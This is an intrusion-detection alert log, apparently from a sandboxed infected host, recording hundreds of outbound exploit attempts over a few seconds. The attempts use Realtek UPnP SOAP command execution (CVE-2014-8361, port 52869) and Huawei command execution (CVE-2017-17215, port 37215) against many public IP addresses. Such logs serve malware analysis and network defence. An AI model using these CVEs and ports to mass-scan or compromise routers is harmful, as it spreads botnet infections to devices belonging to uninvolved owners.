07/20/24-23:01:14.522190	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54410	52869	192.168.2.13	47.21.202.187
07/20/24-23:01:19.958256	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37588	52869	192.168.2.13	205.146.86.254
07/20/24-23:01:14.569004	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40858	52869	192.168.2.13	92.60.201.159
07/20/24-23:01:07.544207	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52288	52869	192.168.2.13	84.50.117.185
07/20/24-23:01:25.390310	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51690	37215	192.168.2.13	41.61.211.184
07/20/24-23:01:19.210879	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53604	52869	192.168.2.13	158.95.177.24
07/20/24-23:00:59.021890	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58998	37215	192.168.2.13	41.79.63.222
07/20/24-23:01:32.202245	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38114	37215	192.168.2.13	197.57.237.13
07/20/24-23:01:36.855169	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37054	37215	192.168.2.13	157.251.174.213
07/20/24-23:01:02.620832	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42426	37215	192.168.2.13	157.28.17.113
07/20/24-23:01:14.535851	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57884	52869	192.168.2.13	137.137.144.212
07/20/24-23:01:25.390311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50316	37215	192.168.2.13	197.203.138.176
07/20/24-23:01:17.790236	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35968	37215	192.168.2.13	140.155.1.23
07/20/24-23:00:59.020901	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37268	37215	192.168.2.13	41.152.229.173
07/20/24-23:01:15.000002	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33410	37215	192.168.2.13	157.29.167.252
07/20/24-23:01:27.276711	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35450	37215	192.168.2.13	62.79.48.97
07/20/24-23:01:04.861979	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40720	37215	192.168.2.13	41.180.188.91
07/20/24-23:01:14.512728	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44228	52869	192.168.2.13	39.238.204.107
07/20/24-23:01:22.812907	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56214	37215	192.168.2.13	157.16.242.169
07/20/24-23:01:14.507784	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54908	52869	192.168.2.13	64.186.75.249
07/20/24-23:01:25.391285	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52720	37215	192.168.2.13	197.37.233.45
07/20/24-23:01:27.359674	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36400	52869	192.168.2.13	46.178.0.255
07/20/24-23:01:22.736771	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42444	37215	192.168.2.13	17.84.65.128
07/20/24-23:01:12.360354	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55978	37215	192.168.2.13	157.194.160.22
07/20/24-23:01:12.553660	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54976	37215	192.168.2.13	157.205.125.4
07/20/24-23:01:02.603717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59794	37215	192.168.2.13	157.122.210.70
07/20/24-23:01:08.407067	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41032	37215	192.168.2.13	197.132.136.35
07/20/24-23:01:14.525838	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48282	52869	192.168.2.13	221.85.136.10
07/20/24-23:00:59.021580	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60186	37215	192.168.2.13	41.237.188.97
07/20/24-23:00:59.021321	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33654	37215	192.168.2.13	110.202.3.118
07/20/24-23:01:06.511162	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40030	52869	192.168.2.13	179.27.16.177
07/20/24-23:01:14.533279	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54722	52869	192.168.2.13	99.172.148.31
07/20/24-23:01:32.260443	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51850	37215	192.168.2.13	45.56.154.125
07/20/24-23:01:06.230961	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46330	52869	192.168.2.13	165.95.243.107
07/20/24-23:01:12.539005	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57216	37215	192.168.2.13	157.91.199.137
07/20/24-23:01:06.801053	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37164	37215	192.168.2.13	157.41.142.136
07/20/24-23:01:22.740155	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52952	37215	192.168.2.13	197.39.109.82
07/20/24-23:01:32.244559	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35570	37215	192.168.2.13	41.121.157.206
07/20/24-23:01:06.248510	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60044	52869	192.168.2.13	114.0.228.232
07/20/24-23:01:19.988832	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52402	52869	192.168.2.13	182.69.101.91
07/20/24-23:01:02.615483	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35738	37215	192.168.2.13	41.59.239.153
07/20/24-23:01:07.357587	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57700	52869	192.168.2.13	180.115.139.253
07/20/24-23:01:15.076248	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49320	37215	192.168.2.13	41.27.62.245
07/20/24-23:01:19.969809	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34548	52869	192.168.2.13	207.190.228.219
07/20/24-23:01:21.658252	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52324	52869	192.168.2.13	122.30.247.236
07/20/24-23:01:04.769875	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35354	52869	192.168.2.13	120.120.202.208
07/20/24-23:01:20.491915	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35996	52869	192.168.2.13	70.153.220.198
07/20/24-23:01:19.370995	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50368	52869	192.168.2.13	77.121.237.8
07/20/24-23:01:25.389455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55784	37215	192.168.2.13	104.54.0.43
07/20/24-23:01:06.209400	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60250	52869	192.168.2.13	71.112.213.237
07/20/24-23:01:22.737180	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35238	37215	192.168.2.13	197.2.26.236
07/20/24-23:01:32.260443	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34972	37215	192.168.2.13	41.18.188.145
07/20/24-23:01:14.569004	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43374	52869	192.168.2.13	183.244.92.210
07/20/24-23:01:27.352815	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38826	52869	192.168.2.13	84.205.102.154
07/20/24-23:01:27.352864	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54336	52869	192.168.2.13	158.95.177.24
07/20/24-23:01:14.542853	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49440	52869	192.168.2.13	110.74.122.205
07/20/24-23:01:06.802009	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57510	37215	192.168.2.13	41.176.113.41
07/20/24-23:01:06.812906	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38352	37215	192.168.2.13	197.67.244.232
07/20/24-23:01:04.161259	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50584	52869	192.168.2.13	162.120.56.216
07/20/24-23:01:25.391568	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49814	37215	192.168.2.13	157.188.140.143
07/20/24-23:01:14.505885	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45476	52869	192.168.2.13	90.220.208.134
07/20/24-23:01:07.342040	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57096	52869	192.168.2.13	35.206.55.83
07/20/24-23:01:32.248799	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52312	37215	192.168.2.13	48.41.58.171
07/20/24-23:01:32.260443	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35094	37215	192.168.2.13	218.9.58.25
07/20/24-23:00:59.022082	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33242	37215	192.168.2.13	41.62.99.32
07/20/24-23:01:06.801544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35194	37215	192.168.2.13	48.93.90.162
07/20/24-23:01:25.388939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37434	37215	192.168.2.13	12.246.227.233
07/20/24-23:01:04.918465	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33178	37215	192.168.2.13	179.43.198.214
07/20/24-23:01:06.812618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56678	37215	192.168.2.13	197.59.230.146
07/20/24-23:01:02.601458	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43958	37215	192.168.2.13	41.68.213.107
07/20/24-23:01:27.286229	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44354	37215	192.168.2.13	41.77.125.133
07/20/24-23:01:32.260699	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35586	37215	192.168.2.13	157.48.146.195
07/20/24-23:01:27.222234	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44314	37215	192.168.2.13	197.31.69.67
07/20/24-23:01:36.804831	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36562	37215	192.168.2.13	218.218.105.217
07/20/24-23:00:59.020164	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35902	37215	192.168.2.13	41.128.69.214
07/20/24-23:01:06.151660	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44348	52869	192.168.2.13	47.216.94.0
07/20/24-23:01:15.000888	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49462	37215	192.168.2.13	197.19.173.34
07/20/24-23:01:27.286229	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44644	37215	192.168.2.13	157.118.164.216
07/20/24-23:01:06.606759	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48704	52869	192.168.2.13	51.65.47.196
07/20/24-23:01:27.354992	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33796	52869	192.168.2.13	104.175.135.141
07/20/24-23:01:15.087650	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41504	37215	192.168.2.13	41.13.103.39
07/20/24-23:01:02.603717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41902	37215	192.168.2.13	197.80.112.192
07/20/24-23:01:08.369553	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54520	37215	192.168.2.13	197.38.142.169
07/20/24-23:01:25.390311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51896	37215	192.168.2.13	41.97.154.230
07/20/24-23:01:32.192487	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33016	37215	192.168.2.13	41.235.225.54
07/20/24-23:01:27.355018	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38282	52869	192.168.2.13	205.146.86.254
07/20/24-23:01:19.612320	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39578	52869	192.168.2.13	123.81.251.53
07/20/24-23:01:12.485954	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48424	37215	192.168.2.13	197.108.235.134
07/20/24-23:01:22.736667	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49064	37215	192.168.2.13	41.93.90.227
07/20/24-23:01:12.485954	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34184	37215	192.168.2.13	157.115.105.116
07/20/24-23:01:04.779681	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57552	52869	192.168.2.13	147.164.232.161
07/20/24-23:01:14.518210	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34642	52869	192.168.2.13	71.240.247.135
07/20/24-23:01:06.184025	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51074	52869	192.168.2.13	221.82.215.87
07/20/24-23:01:36.781139	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40816	37215	192.168.2.13	119.85.220.68
07/20/24-23:01:12.490733	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42942	37215	192.168.2.13	157.1.215.159
07/20/24-23:01:27.297470	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49986	37215	192.168.2.13	157.44.137.40
07/20/24-23:00:59.020683	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51402	37215	192.168.2.13	157.213.124.92
07/20/24-23:01:22.737281	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47548	37215	192.168.2.13	157.118.0.63
07/20/24-23:01:27.363404	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41376	52869	192.168.2.13	165.167.242.189
07/20/24-23:01:06.889978	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57092	52869	192.168.2.13	178.39.107.192
07/20/24-23:01:14.521013	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33266	52869	192.168.2.13	153.97.31.189
07/20/24-23:01:04.874130	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38876	37215	192.168.2.13	197.227.153.203
07/20/24-23:01:27.226586	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43572	37215	192.168.2.13	157.156.52.27
07/20/24-23:01:12.374034	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53238	37215	192.168.2.13	157.193.114.61
07/20/24-23:01:22.738834	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45152	37215	192.168.2.13	191.222.133.238
07/20/24-23:01:27.289200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57840	37215	192.168.2.13	74.193.187.37
07/20/24-23:01:25.456960	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52026	37215	192.168.2.13	197.172.239.148
07/20/24-23:00:59.019939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40932	37215	192.168.2.13	157.249.112.126
07/20/24-23:00:59.023733	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49566	37215	192.168.2.13	197.75.184.178
07/20/24-23:01:27.354561	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48116	52869	192.168.2.13	206.120.243.243
07/20/24-23:01:27.354561	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60598	52869	192.168.2.13	52.137.120.101
07/20/24-23:01:12.492810	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53468	37215	192.168.2.13	197.54.72.125
07/20/24-23:00:59.020932	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40354	37215	192.168.2.13	157.1.12.172
07/20/24-23:01:03.951915	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47020	52869	192.168.2.13	89.116.1.211
07/20/24-23:01:15.661483	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37162	37215	192.168.2.13	157.255.48.38
07/20/24-23:01:03.923104	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41794	52869	192.168.2.13	31.175.187.129
07/20/24-23:01:08.459273	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34076	37215	192.168.2.13	197.48.67.38
07/20/24-23:00:59.020039	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55082	37215	192.168.2.13	157.134.72.2
07/20/24-23:01:25.391568	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49026	37215	192.168.2.13	41.57.88.96
07/20/24-23:01:36.793382	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35516	37215	192.168.2.13	41.203.51.193
07/20/24-23:01:14.558193	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41956	52869	192.168.2.13	158.90.117.175
07/20/24-23:01:27.232388	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36008	37215	192.168.2.13	130.135.54.218
07/20/24-23:01:08.391767	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58884	37215	192.168.2.13	206.40.208.27
07/20/24-23:00:59.021792	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39112	37215	192.168.2.13	145.185.248.183
07/20/24-23:01:04.553633	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46976	52869	192.168.2.13	125.165.157.181
07/20/24-23:01:25.414531	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41262	37215	192.168.2.13	41.251.254.230
07/20/24-23:00:59.019633	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44802	37215	192.168.2.13	194.65.196.65
07/20/24-23:01:27.232388	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49092	37215	192.168.2.13	197.90.204.179
07/20/24-23:01:05.488122	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43970	52869	192.168.2.13	186.203.154.108
07/20/24-23:01:20.587272	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53230	52869	192.168.2.13	147.253.173.13
07/20/24-23:01:32.250506	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47560	37215	192.168.2.13	41.162.72.121
07/20/24-23:01:27.297470	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46934	37215	192.168.2.13	41.173.250.250
07/20/24-23:01:08.455372	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59940	37215	192.168.2.13	157.104.42.82
07/20/24-23:00:59.022895	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50812	37215	192.168.2.13	104.140.179.113
07/20/24-23:01:36.850101	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58386	37215	192.168.2.13	117.212.142.220
07/20/24-23:01:36.781255	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39534	37215	192.168.2.13	157.213.169.109
07/20/24-23:01:04.981879	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41528	52869	192.168.2.13	87.22.11.17
07/20/24-23:01:36.781770	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49162	37215	192.168.2.13	62.132.204.169
07/20/24-23:01:19.942832	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47088	52869	192.168.2.13	197.5.41.2
07/20/24-23:01:32.203847	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33510	37215	192.168.2.13	135.53.17.181
07/20/24-23:01:15.000722	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35926	37215	192.168.2.13	197.113.123.195
07/20/24-23:01:22.812907	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60632	37215	192.168.2.13	41.33.122.169
07/20/24-23:01:25.388961	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56430	37215	192.168.2.13	197.228.125.161
07/20/24-23:01:24.625525	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50534	37215	192.168.2.13	41.110.61.47
07/20/24-23:01:12.487419	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45932	37215	192.168.2.13	197.93.78.184
07/20/24-23:01:36.796105	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52994	37215	192.168.2.13	157.167.157.60
07/20/24-23:01:06.005329	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52282	52869	192.168.2.13	47.21.202.187
07/20/24-23:01:06.806392	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52828	37215	192.168.2.13	41.132.133.64
07/20/24-23:01:27.366829	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38852	52869	192.168.2.13	218.4.141.45
07/20/24-23:01:32.208939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39912	37215	192.168.2.13	47.59.243.141
07/20/24-23:01:25.389819	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57724	37215	192.168.2.13	180.204.53.247
07/20/24-23:01:27.269293	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44822	37215	192.168.2.13	197.235.7.59
07/20/24-23:01:32.206772	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47640	37215	192.168.2.13	103.163.69.80
07/20/24-23:01:32.199687	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46120	37215	192.168.2.13	59.49.93.128
07/20/24-23:01:36.785490	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57676	37215	192.168.2.13	101.124.61.221
07/20/24-23:01:14.544045	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40044	52869	192.168.2.13	47.14.186.72
07/20/24-23:01:06.800702	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33012	37215	192.168.2.13	41.206.24.104
07/20/24-23:01:14.513053	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32854	52869	192.168.2.13	188.226.47.52
07/20/24-23:01:04.858015	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47418	37215	192.168.2.13	197.101.194.182
07/20/24-23:01:36.847780	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43534	37215	192.168.2.13	213.81.191.191
07/20/24-23:01:04.892375	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41596	37215	192.168.2.13	197.130.192.147
07/20/24-23:01:14.523933	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56128	52869	192.168.2.13	97.114.117.29
07/20/24-23:01:19.619749	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58820	52869	192.168.2.13	194.111.111.55
07/20/24-23:01:08.449909	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52252	37215	192.168.2.13	197.196.220.157
07/20/24-23:01:06.820921	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55636	37215	192.168.2.13	49.127.162.145
07/20/24-23:01:07.314840	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56284	52869	192.168.2.13	128.199.8.22
07/20/24-23:01:20.606081	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37082	52869	192.168.2.13	97.62.197.167
07/20/24-23:01:27.352785	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35708	52869	192.168.2.13	60.215.234.238
07/20/24-23:01:21.640040	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60348	52869	192.168.2.13	159.48.133.27
07/20/24-23:01:14.513824	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41742	52869	192.168.2.13	213.139.43.137
07/20/24-23:01:12.490733	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55644	37215	192.168.2.13	141.91.69.128
07/20/24-23:01:27.277398	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54598	37215	192.168.2.13	41.177.137.53
07/20/24-23:01:14.523933	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48456	52869	192.168.2.13	89.57.196.100
